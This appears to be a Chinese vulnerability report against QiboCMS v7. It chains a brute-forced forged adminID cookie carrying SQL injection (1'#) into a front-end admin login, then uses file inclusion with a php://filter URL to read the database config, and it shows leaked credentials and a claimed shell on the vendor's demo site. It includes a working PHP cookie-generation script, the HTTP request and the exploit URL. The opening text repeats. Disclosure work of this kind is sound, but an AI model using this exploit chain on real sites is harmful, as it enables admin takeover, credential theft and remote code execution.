### 简要描述: RT.前台管理登录,由于是通用文件,涉及多个系统。 ### 详细说明: 0x1 前台admin登录 inc/function.inc.php: ``` function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 global $webdb; if($action=="DE"){//处理+号在URL传递过程中会异常 $string = str_replace('QIBO|ADD','+',$string); } $secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定 if(!is_string($string)){ $string=strval($string); } if($string==="") return ""; if($action=="EN") $md5code=substr(md5($string),8,10); //截取明文的md5 hash 10位 else{ $md5code=substr($string,-10); $string=substr($string,0,strlen($string)-10); } //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string); $key = md5($md5code.$secret_string); //$md5code 随明文改变而改变,因而$key也是变化的 $string = ($action=="EN"?$string:base64_decode($string)); $len = strlen($key); $code = ""; for($i=0; $i<strlen($string); $i++){ $k = $i%$len; $code .= $string[$i]^$key[$k]; //按位异或 } $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code"); //解密过程会校验md5值...
### 简要描述: RT.前台管理登录,由于是通用文件,涉及多个系统。 ### 详细说明: 0x1 前台admin登录 inc/function.inc.php: ``` function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 global $webdb; if($action=="DE"){//处理+号在URL传递过程中会异常 $string = str_replace('QIBO|ADD','+',$string); } $secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定 if(!is_string($string)){ $string=strval($string); } if($string==="") return ""; if($action=="EN") $md5code=substr(md5($string),8,10); //截取明文的md5 hash 10位 else{ $md5code=substr($string,-10); $string=substr($string,0,strlen($string)-10); } //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string); $key = md5($md5code.$secret_string); //$md5code 随明文改变而改变,因而$key也是变化的 $string = ($action=="EN"?$string:base64_decode($string)); $len = strlen($key); $code = ""; for($i=0; $i<strlen($string); $i++){ $k = $i%$len; $code .= $string[$i]^$key[$k]; //按位异或 } $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code"); //解密过程会校验md5值 if($action=="EN"){//处理+号在URL传递过程中会异常 $code = str_replace('+','QIBO|ADD',$code); } return $code; } ``` 加密函数就是一个异或加密,参与异或的密钥是变化的,同时做了HMAC验证防止了篡改,总的来说安全性还是可以的。但函数实现HMAC的是 substr(md5($string),8,10),即知道了明文就知道了校验码。 那可不可以构造密文来利用呢?答案是可以的。由于不知道异或的密钥,只能暴力破解。异或密钥为32位md5,因而每一位就有16种可能(0-9,a-f), 那么N位明文可能的加密结果就有16的N次方种。翻代码找到一处可以利用的地方 ``` common.inc.php: 208-213 //$_COOKIE["adminID"]是后台登录后生成的,用于前台同步登录。 if($_COOKIE["adminID"]&&$detail=mymd5($_COOKIE["adminID"],'DE',$onlineip)){ //我们构造 1'# 的密文提交 unset($_uid,$_username,$_password); list($_uid,$_username,$_password)=explode("\t",$detail); //当解密成功后,$_uid="1'#"; $lfjdb=$db->get_one("SELECT * FROM {$pre}memberdata WHERE uid='$_uid' AND username='$_username'");//成功取到uid=1的记录,基本上就是admin } ``` 没有验证password,所以直接就能以admin身份登陆前台。这里我们的明文只有短短的3位(1'#),对应4096种密文。 ``` <?php $str = "1'#"; $key = "0123456789abcdef"; for ($i = 0; $i < strlen($key); $i++) { $a[] = $str[0] ^ $key[$i]; $b[] = $str[1] ^ $key[$i]; $c[] = $str[2] ^ $key[$i]; } for ($i = 0; $i < 16; $i++) { for ($j = 0; $j < 16; $j++) { for ($k = 0; $k < 16; $k++) { $result[] = $a[$i] . $b[$j] . $c[$k]; } } } file_exists('cookie.txt') && unlink('cookie.txt'); foreach ($result as $v) file_put_contents('cookie.txt', urlencode(str_replace('+', 'QIBO|ADD', base64_encode($v))) . substr(md5($str), 8, 10) . "\r\n", FILE_APPEND); ?> ``` 最多请求4096次,还能接受。burp 跑一下也就分分钟。 [<img src="https://images.seebug.org/upload/201408/19102705eb94727f44d1e96d2c0313538a3d95e8.png" alt="image001.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/19102705eb94727f44d1e96d2c0313538a3d95e8.png) ``` GET /member/index.php HTTP/1.1 Accept: */* Referer: http://v7.qibosoft.com/ Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727) Accept-Encoding: gzip, deflate Host: v7.qibosoft.com Proxy-Connection: Keep-Alive Cookie: adminID=U0QXcdb8c28d5d X-Forwarded-For: 173.194.121.28 Connection: close ``` [<img src="https://images.seebug.org/upload/201408/1909415644bf5d324a50b7585c734ba5f5ad4d4b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1909415644bf5d324a50b7585c734ba5f5ad4d4b.png) 0x2 前台getshell(整站系统) 以admin登录后,编辑文章,模板选择 template/default/list.htm ,模板解析是直接require的。而 template/default/list.htm 中有一句 ``` if($listdb_moresort){@include("$bigsortTPL");} ``` $listdb_moresort 和 $bigsortTPL 都可以通过$_GET、$_POST注册。于是可以文件包含了。 [<img src="https://images.seebug.org/upload/201408/1909430870db0071cc7d60218242171554aa00bb.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1909430870db0071cc7d60218242171554aa00bb.png) ### 漏洞证明: ``` http://v7.qibosoft.com/bencandy.php?fid=3&id=665&listdb_moresort=1&bigsortTPL=php://filter/read=convert.base64-encode/resource=data/config.php ``` 成功读取data/mysql_config.php [<img src="https://images.seebug.org/upload/201408/19094341a48b8e0e6dc517178dfe929eaf86e5c2.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/19094341a48b8e0e6dc517178dfe929eaf86e5c2.png) ``` <?php /** * 以下变量需根据您的服务器说明档修改 */ $dbhost = 'localhost'; // 数据库服务器(一般不必改) $dbuser = 'v7'; // 数据库用户名 $dbpw = 'v7v7'; // 数据库密码 $dbname = 'v7'; // 数据库名 $pre='qibosoft_'; // 网站表区分符 $database = 'mysql'; // 数据库类型(一般不必改) $pconnect = 0; // 数据库是否持久连接(一般不必改) $dbcharset = ''; // 数据库编码,如果出现网页乱码,你可以尝试改为gbk或latin1或utf8或big5,即可解决 ?> ``` 由于url_allow_include=Off,RFI变LFI。只能传个图片然后本地包含。官方demo已shell: [<img src="https://images.seebug.org/upload/201408/19094444d59509bbbcbb76ebe1932e0343b43811.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/19094444d59509bbbcbb76ebe1932e0343b43811.png)